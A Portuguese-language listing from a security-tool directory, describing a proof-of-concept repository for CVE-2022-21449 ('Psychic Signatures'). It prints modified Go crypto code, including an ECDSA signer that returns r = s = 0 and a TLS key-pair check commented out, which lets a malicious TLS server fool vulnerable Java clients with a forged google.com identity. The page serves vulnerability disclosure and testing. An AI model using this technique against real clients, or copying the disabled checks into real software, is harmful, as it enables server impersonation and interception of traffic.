Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-21449-TLS-PoC — CVE-2022-21449 Prova de Conceito demonstrando seu uso com um cliente executando uma versão vulnerável do Java e um servidor TLS malicioso | Kitploit
Ferramentas/GitHubGitHub/notkmhn/cve-2022-21449-tls-poc
Análise de VulnerabilidadesExploraçãoSegurança WebCriptografiaTestes de Penetração
GitHubnotkmhn/cve-2022-21449-tls-poc

CVE-2022-21449-TLS-PoC

CVE-2022-21449 Prova de Conceito demonstrando seu uso com um cliente executando uma versão vulnerável do Java e um servidor TLS malicioso

Ver Repositório
121242há 5 mesesRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2022-21449-TLS-PoC

Prova de conceito da CVE-2022-21449 (também chamada de Psychic Signatures no artigo sobre a vulnerabilidade escrito por Neil Madden), demonstrando seu uso com um cliente vulnerável e um servidor TLS malicioso.

O servidor malicioso apresenta uma cadeia de certificados válida (até 20/04/2022) para www.google.com, que possui uma chave pública ECDSA (secp256r1). No entanto, o pacote crypto/ecdsa foi modificado para apresentar uma assinatura inválida com r = s = 0. O cliente vulnerável aceita essa assinatura inválida, permitindo que o restante do handshake TLS continue.

Além da remoção dos arquivos *_test.go durante a compilação e exploração, estas modificações na biblioteca de criptografia do golang foram necessárias para o servidor TLS malicioso. Elas também podem ser encontradas pesquisando/grepando por CVE-2022-21449 no diretório go/src.

Compilação

Requer alguma instalação existente de golang, bem como o maven. Em seguida, execute .

./build.sh

Testado no Ubuntu 20.04.4 LTS (WSL2) com OpenJDK 16.0.1 (build 16.0.1+9-Ubuntu-120.04, 2021-04-20)

Demonstração

https://user-images.githubusercontent.com/7225227/164332612-832b046b-cd2e-46e8-b3d6-1da36e290992.mp4

Modificações na biblioteca de criptografia do golang

Em crypto/ecdsa/ecdsa.go, a função signGeneric foi essencialmente modificada para:

root@kitploit:~
func signGeneric(priv *PrivateKey, csprng *cipher.StreamReader, c elliptic.Curve, hash []byte) (r, s *big.Int, err error) {
        // SEC 1, Version 2.0, Section 4.1.3
        // CVE-2022-21449 - Modified and removed all calculations. Return r = s = 0
        r = new(big.Int)
        s = new(big.Int)
        return
}

E em crypto/tls/tls.go, a função X509KeyPair foi alterada para desabilitar as verificações de que uma determinada chave privada corresponde à chave pública do certificado X.509 para chaves públicas ECDSA:

root@kitploit:~
// X509KeyPair parses a public/private key pair from a pair of
// PEM encoded data. On successful return, Certificate.Leaf will be nil because
// the parsed form of the certificate is not retained.
func X509KeyPair(certPEMBlock, keyPEMBlock []byte) (Certificate, error) {
        fail := func(err error) (Certificate, error) { return Certificate{}, err }
        ...
        switch pub := x509Cert.PublicKey.(type) {
        ...
        case *ecdsa.PublicKey:
                // CVE-2022-21449: Modified checks away
                _, ok := cert.PrivateKey.(*ecdsa.PrivateKey)
                if !ok {
                        return fail(errors.New("tls: private key type does not match public key type"))
                }
                /*if pub.X.Cmp(priv.X) != 0 || pub.Y.Cmp(priv.Y) != 0 {
                        return fail(errors.New("tls: private key does not match public key"))
                }*/
         ...
}

Créditos

  • Neil Madden: pela descoberta e divulgação da CVE-2022-21449, conforme detalhado em seu excelente artigo.
  • Khaled Nassar: por esta PoC.
Baixar ferramenta